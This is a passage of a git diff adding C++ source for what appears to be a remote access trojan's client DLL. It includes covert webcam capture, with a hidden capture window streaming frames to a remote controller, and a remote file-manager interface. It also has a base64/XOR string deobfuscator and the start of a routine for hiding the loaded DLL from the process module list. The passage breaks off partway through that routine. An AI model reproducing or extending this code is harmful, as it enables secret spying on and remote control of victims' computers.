//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
bool CVideoCap::m_bIsConnected = false;
|
||||
|
||||
CVideoCap::CVideoCap()
|
||||
{
|
||||
// If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
|
||||
m_hCaptureEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
|
||||
m_lpbmi = NULL;
|
||||
m_lpDIB = NULL;
|
||||
|
||||
|
||||
if (!IsWebCam() || m_bIsConnected)
|
||||
return;
|
||||
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||
m_hWndCap = capCreateCaptureWindow
|
||||
(
|
||||
"CVideoCap",
|
||||
WS_CHILD | WS_VISIBLE,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
m_hWnd,
|
||||
0
|
||||
);
|
||||
}
|
||||
|
||||
CVideoCap::~CVideoCap()
|
||||
{
|
||||
if (m_bIsConnected)
|
||||
{
|
||||
capCaptureAbort(m_hWndCap);
|
||||
capDriverDisconnect(m_hWndCap);
|
||||
|
||||
if (m_lpbmi)
|
||||
delete m_lpbmi;
|
||||
if (m_lpDIB)
|
||||
delete m_lpDIB;
|
||||
m_bIsConnected = false;
|
||||
}
|
||||
|
||||
capSetCallbackOnError(m_hWndCap, NULL);
|
||||
capSetCallbackOnFrame(m_hWndCap, NULL);
|
||||
|
||||
//DynamicAPI myApi;
|
||||
//myApi.init_user32();
|
||||
//myApi.pCloseWindowT(m_hWnd);
|
||||
// myApi.pCloseWindowT(m_hWndCap);
|
||||
DynamicAPI myApi;
|
||||
myApi.init_user32();
|
||||
myApi.pCloseWindowT(m_hWnd);
|
||||
myApi.pCloseWindowT(m_hWndCap);
|
||||
//CloseWindow(m_hWnd);
|
||||
//CloseWindow(m_hWndCap);
|
||||
|
||||
CloseHandle(m_hCaptureEvent);
|
||||
}
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ƵԴ<C6B5>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
LRESULT CALLBACK CVideoCap::capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz)
|
||||
{
|
||||
return (LRESULT)TRUE;
|
||||
}
|
||||
|
||||
LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)
|
||||
{
|
||||
try
|
||||
{
|
||||
CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd);
|
||||
if (pThis != NULL)
|
||||
{
|
||||
memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage);
|
||||
SetEvent(pThis->m_hCaptureEvent);
|
||||
}
|
||||
}catch(...){};
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool CVideoCap::IsWebCam()
|
||||
{
|
||||
// <20>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_bIsConnected)
|
||||
return false;
|
||||
|
||||
bool bRet = false;
|
||||
|
||||
char lpszName[100], lpszVer[50];
|
||||
for (int i = 0; i < 10 && !bRet; i++)
|
||||
{
|
||||
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
|
||||
lpszVer, sizeof(lpszVer));
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
LPBYTE CVideoCap::GetDIB()
|
||||
{
|
||||
capGrabFrameNoStop(m_hWndCap);
|
||||
DWORD dwRet = WaitForSingleObject(m_hCaptureEvent, 3000);
|
||||
|
||||
if (dwRet == WAIT_OBJECT_0)
|
||||
return m_lpDIB;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool CVideoCap::Initialize(int nWidth, int nHeight)
|
||||
{
|
||||
CAPTUREPARMS gCapTureParms ; //<2F><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CAPDRIVERCAPS gCapDriverCaps;
|
||||
DWORD dwSize;
|
||||
|
||||
if (!IsWebCam())
|
||||
return false;
|
||||
|
||||
capSetUserData(m_hWndCap, this);
|
||||
|
||||
capSetCallbackOnError(m_hWndCap, capErrorCallback);
|
||||
if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (i = 0; i < 10; i++)
|
||||
{
|
||||
if (capDriverConnect(m_hWndCap, i))
|
||||
break;
|
||||
}
|
||||
if (i == 10)
|
||||
return false;
|
||||
|
||||
|
||||
dwSize = capGetVideoFormatSize(m_hWndCap);
|
||||
m_lpbmi = new BITMAPINFO;
|
||||
|
||||
// M263ֻ֧<D6BB><D6A7>176*144 352*288 (352*288 24<32>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>ֻ֧<D6BB><D6A7>biPlanes = 1)
|
||||
capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
|
||||
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>Ĵ<EFBFBD>С
|
||||
if (nWidth && nHeight)
|
||||
{
|
||||
m_lpbmi->bmiHeader.biWidth = nWidth;
|
||||
m_lpbmi->bmiHeader.biHeight = nHeight;
|
||||
m_lpbmi->bmiHeader.biPlanes = 1;
|
||||
m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
|
||||
// ʵ<><CAB5><EFBFBD><EFBFBD>֪һЩ<D2BB><D0A9><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||
if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
|
||||
return false;
|
||||
}
|
||||
|
||||
m_lpDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
|
||||
|
||||
capDriverGetCaps(m_hWndCap, &gCapDriverCaps, sizeof(CAPDRIVERCAPS));
|
||||
|
||||
capOverlay(m_hWndCap, FALSE);
|
||||
capPreview(m_hWndCap, FALSE);
|
||||
capPreviewScale(m_hWndCap, FALSE);
|
||||
|
||||
m_bIsConnected = true;
|
||||
|
||||
return true;
|
||||
}
|
31
CcMainDll/CcMainDll/common/VideoCap.h
Normal file
31
CcMainDll/CcMainDll/common/VideoCap.h
Normal file
@@ -0,0 +1,31 @@
|
||||
// VideoCap.h: interface for the CVideoCap class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
|
||||
#define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_
|
||||
#include <windows.h>
|
||||
#include <vfw.h>
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
class CVideoCap
|
||||
{
|
||||
public:
|
||||
HANDLE m_hCaptureEvent;
|
||||
LPBITMAPINFO m_lpbmi;
|
||||
static bool IsWebCam();
|
||||
bool Initialize(int nWidth = 0, int nHeight = 0);
|
||||
LPBYTE GetDIB();
|
||||
static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz);
|
||||
static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr);
|
||||
CVideoCap();
|
||||
virtual ~CVideoCap();
|
||||
private:
|
||||
LPBYTE m_lpDIB;
|
||||
HWND m_hWnd;
|
||||
HWND m_hWndCap;
|
||||
static bool m_bIsConnected;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
|
221
CcMainDll/CcMainDll/common/VideoManager.cpp
Normal file
221
CcMainDll/CcMainDll/common/VideoManager.cpp
Normal file
@@ -0,0 +1,221 @@
|
||||
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "VideoManager.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
m_pVideoCap = NULL;
|
||||
m_pVideoCodec = NULL;
|
||||
m_bIsWorking = true;
|
||||
m_bIsCompress = true;
|
||||
m_nVedioWidth = 0;
|
||||
m_nVedioHeight = 0;
|
||||
m_fccHandler = 0;
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
CVideoManager::~CVideoManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, false);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
}
|
||||
|
||||
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
}
|
||||
break;
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS:
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
break;
|
||||
case COMMAND_WEBCAM_RESIZE:
|
||||
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CVideoManager::sendBITMAPINFO()
|
||||
{
|
||||
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
LPBYTE lpBuffer = new BYTE[dwBytesLength];
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(lpBuffer + 1, m_pVideoCap->m_lpbmi, sizeof(BITMAPINFO));
|
||||
Send(lpBuffer, dwBytesLength);
|
||||
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::sendNextScreen()
|
||||
{
|
||||
LPVOID lpDIB = m_pVideoCap->GetDIB();
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress;
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD));
|
||||
|
||||
UINT nPacketLen = 0;
|
||||
if (m_bIsCompress && m_pVideoCodec)
|
||||
{
|
||||
int nCompressLen = 0;
|
||||
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||
m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage, lpBuffer + nHeadLen, &nCompressLen, NULL);
|
||||
if (!nCompressLen)
|
||||
{
|
||||
// some thing ...
|
||||
return;
|
||||
}
|
||||
nPacketLen = nCompressLen + nHeadLen;
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(lpBuffer + nHeadLen, lpDIB, m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage);
|
||||
nPacketLen = m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage + nHeadLen;
|
||||
}
|
||||
|
||||
Send(lpBuffer, nPacketLen);
|
||||
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::ResetScreen(int nWidth, int nHeight)
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, false);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>С
|
||||
m_nVedioWidth = nWidth;
|
||||
m_nVedioHeight = nHeight;
|
||||
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, true);
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
|
||||
}
|
||||
|
||||
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
|
||||
{
|
||||
static DWORD dwLastScreen = GetTickCount();
|
||||
|
||||
CVideoManager *pThis = (CVideoManager *)lparam;
|
||||
|
||||
if (!pThis->Initialize())
|
||||
{
|
||||
pThis->Destroy();
|
||||
pThis->m_pClient->Disconnect();
|
||||
return -1;
|
||||
}
|
||||
pThis->sendBITMAPINFO();
|
||||
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
pThis->WaitForDialogOpen();
|
||||
|
||||
while (pThis->m_bIsWorking)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||
if ((GetTickCount() - dwLastScreen) < 150)
|
||||
Sleep(100);
|
||||
dwLastScreen = GetTickCount();
|
||||
pThis->sendNextScreen();
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5><EFBFBD>
|
||||
pThis->Destroy();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool CVideoManager::Initialize()
|
||||
{
|
||||
bool bRet = false;
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>
|
||||
if (!CVideoCap::IsWebCam())
|
||||
return false;
|
||||
|
||||
m_pVideoCap = new CVideoCap;
|
||||
|
||||
// ָ<><D6B8><EFBFBD>˹̶<CBB9><CCB6><EFBFBD>С
|
||||
if (m_nVedioWidth && m_nVedioHeight)
|
||||
{
|
||||
bRet = m_pVideoCap->Initialize(m_nVedioWidth, m_nVedioHeight);
|
||||
}
|
||||
else
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>H263<36><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>ִ<EFBFBD>С,<2C><><EFBFBD>ȿ<EFBFBD><C8BF><EFBFBD>
|
||||
bRet = m_pVideoCap->Initialize(352, 288);
|
||||
if (!bRet)
|
||||
bRet = m_pVideoCap->Initialize(176, 144);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ϵͳĬ<CDB3>ϵ<EFBFBD>
|
||||
if (!bRet)
|
||||
bRet = m_pVideoCap->Initialize();
|
||||
|
||||
}
|
||||
|
||||
// <20><>Ҫ<EFBFBD><D2AA>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CVideoCap<61><70>ʼ<EFBFBD><CABC>ʧ<EFBFBD><CAA7>
|
||||
if (!bRet)
|
||||
return bRet;
|
||||
|
||||
// <20><><EFBFBD>⼸<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡһ<D1A1><D2BB>
|
||||
DWORD fccHandlerArray[] =
|
||||
{
|
||||
859189837, // Microsoft H.263 Video Codec
|
||||
842225225, // Intel Indeo(R) Video R3.2
|
||||
842289229, // Microsoft MPEG-4 Video Codec V2
|
||||
1684633187 // Cinepak Codec by Radius
|
||||
};
|
||||
|
||||
for (int i = 0; i < sizeof(fccHandlerArray) / sizeof(fccHandlerArray[0]); i++)
|
||||
{
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
if (!m_pVideoCodec->InitCompressor(m_pVideoCap->m_lpbmi, fccHandlerArray[i]))
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
m_fccHandler = fccHandlerArray[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
if (m_pVideoCap)
|
||||
{
|
||||
delete m_pVideoCap;
|
||||
m_pVideoCap = NULL;
|
||||
}
|
||||
if (m_pVideoCodec)
|
||||
{
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
}
|
40
CcMainDll/CcMainDll/common/VideoManager.h
Normal file
40
CcMainDll/CcMainDll/common/VideoManager.h
Normal file
@@ -0,0 +1,40 @@
|
||||
// VideoManager.h: interface for the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
|
||||
#define AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "VideoCap.h"
|
||||
#include "..\..\..\common\VideoCodec.h"
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
void Destroy();
|
||||
bool Initialize();
|
||||
CVideoManager(CClientSocket *pClient);
|
||||
virtual ~CVideoManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
void sendBITMAPINFO();
|
||||
void sendNextScreen();
|
||||
bool m_bIsWorking;
|
||||
private:
|
||||
CVideoCap *m_pVideoCap;
|
||||
CVideoCodec *m_pVideoCodec;
|
||||
DWORD m_fccHandler;
|
||||
int m_nVedioWidth;
|
||||
int m_nVedioHeight;
|
||||
|
||||
bool m_bIsCompress;
|
||||
HANDLE m_hWorkThread;
|
||||
void ResetScreen(int nWidth, int nHeight);
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
|
89
CcMainDll/CcMainDll/common/decode.h
Normal file
89
CcMainDll/CcMainDll/common/decode.h
Normal file
@@ -0,0 +1,89 @@
|
||||
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
static int pos(char c)
|
||||
{
|
||||
char *p;
|
||||
for(p = base64; *p; p++)
|
||||
if(*p == c)
|
||||
return p - base64;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int base64_decode(const char *str, char **data)
|
||||
{
|
||||
const char *s, *p;
|
||||
unsigned char *q;
|
||||
int c;
|
||||
int x;
|
||||
int done = 0;
|
||||
int len;
|
||||
s = (const char *)malloc(strlen(str));
|
||||
q = (unsigned char *)s;
|
||||
for(p=str; *p && !done; p+=4){
|
||||
x = pos(p[0]);
|
||||
if(x >= 0)
|
||||
c = x;
|
||||
else{
|
||||
done = 3;
|
||||
break;
|
||||
}
|
||||
c*=64;
|
||||
|
||||
x = pos(p[1]);
|
||||
if(x >= 0)
|
||||
c += x;
|
||||
else
|
||||
return -1;
|
||||
c*=64;
|
||||
|
||||
if(p[2] == '=')
|
||||
done++;
|
||||
else{
|
||||
x = pos(p[2]);
|
||||
if(x >= 0)
|
||||
c += x;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
c*=64;
|
||||
|
||||
if(p[3] == '=')
|
||||
done++;
|
||||
else{
|
||||
if(done)
|
||||
return -1;
|
||||
x = pos(p[3]);
|
||||
if(x >= 0)
|
||||
c += x;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
if(done < 3)
|
||||
*q++=(c&0x00ff0000)>>16;
|
||||
|
||||
if(done < 2)
|
||||
*q++=(c&0x0000ff00)>>8;
|
||||
if(done < 1)
|
||||
*q++=(c&0x000000ff)>>0;
|
||||
}
|
||||
|
||||
len = q - (unsigned char*)(s);
|
||||
|
||||
*data = (char*)realloc((void *)s, len);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
char* MyDecode(char *str)
|
||||
{
|
||||
int i, len;
|
||||
char *data = NULL;
|
||||
len = base64_decode(str, &data);
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
data[i] -= 0x86;
|
||||
data[i] ^= 0x19;
|
||||
}
|
||||
return data;
|
||||
}
|
57
CcMainDll/CcMainDll/common/filemanager.h
Normal file
57
CcMainDll/CcMainDll/common/filemanager.h
Normal file
@@ -0,0 +1,57 @@
|
||||
// FileManager.h: interface for the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
typedef struct
|
||||
{
|
||||
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
|
||||
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
|
||||
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer();
|
||||
UINT SendFilesList(LPCTSTR lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
UINT SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
317
CcMainDll/CcMainDll/common/hidelibrary.h
Normal file
317
CcMainDll/CcMainDll/common/hidelibrary.h
Normal file
@@ -0,0 +1,317 @@
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
|
||||
#pragma comment(lib, "Psapi.lib")
|
||||
|
||||
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
HMODULE lpDllBase;
|
||||
LPVOID lpNewDllBase;
|
||||
PTHREAD_START_ROUTINE pAddress;
|
||||
LPVOID lParam;
|
||||
}UNLOADLIB_CALLBACK, *PUNLOADLIB_CALLBACK;
|
||||
|
||||
typedef
|
||||
LPVOID WINAPI VIRTUALALLOC(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
typedef
|
||||
BOOL WINAPI VIRTUALFREE(
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD dwFreeType
|
||||
);
|
||||
|
||||
|
||||
typedef
|
||||
BOOL WINAPI HEAPDESTROY(
|
||||
HANDLE hHeap
|
||||
);
|
||||
|
||||
typedef
|
||||
HMODULE WINAPI LOADLIBRARY(
|
||||
LPCTSTR lpFileName
|
||||
);
|
||||
|
||||
typedef
|
||||
HANDLE WINAPI CREATETHREAD(
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
LPVOID lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId
|
||||
);
|
||||
|
||||
typedef void * __cdecl MEMCPY(void *, const void *, size_t);
|
||||
|
||||
|
||||
BOOL incLibraryCount(HMODULE hMe)
|
||||
{
|
||||
//FreeLibrary<72><79><EFBFBD>ܶ<EFBFBD>ϵͳdllҲ<6C><D2B2>free<65><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѽ<EFBFBD><D1BC>ص<EFBFBD><D8B5><EFBFBD>loadһ<64><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>
|
||||
|
||||
HANDLE hModsSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
|
||||
|
||||
if(INVALID_HANDLE_VALUE == hModsSnap)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
MODULEENTRY32 meModuleEntry;
|
||||
meModuleEntry.dwSize = sizeof(MODULEENTRY32);
|
||||
|
||||
if(!Module32First(hModsSnap, &meModuleEntry))
|
||||
{
|
||||
CloseHandle(hModsSnap);
|
||||
return FALSE;
|
||||
}
|
||||
do
|
||||
{
|
||||
if(LoadLibrary(meModuleEntry.szModule) == hMe)
|
||||
FreeLibrary(hMe);
|
||||
|
||||
} while(Module32Next(hModsSnap, &meModuleEntry));
|
||||
|
||||
CloseHandle(hModsSnap);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//ö<><C3B6>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
DWORD WINAPI EnumAndSetThreadState(LPVOID lParam)
|
||||
{
|
||||
HANDLE hThreadSnap = NULL;
|
||||
THREADENTRY32 te32;
|
||||
memset(&te32,0,sizeof(te32));
|
||||
te32.dwSize = sizeof(THREADENTRY32);
|
||||
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
|
||||
|
||||
DWORD myThreadId = GetCurrentThreadId();
|
||||
DWORD pid = GetCurrentProcessId();
|
||||
|
||||
if (Thread32First(hThreadSnap, &te32))
|
||||
{
|
||||
do
|
||||
{
|
||||
if (pid == te32.th32OwnerProcessID)
|
||||
{
|
||||
if(myThreadId != te32.th32ThreadID)
|
||||
{
|
||||
HANDLE hThread = OpenThread(
|
||||
THREAD_SUSPEND_RESUME,
|
||||
FALSE,
|
||||
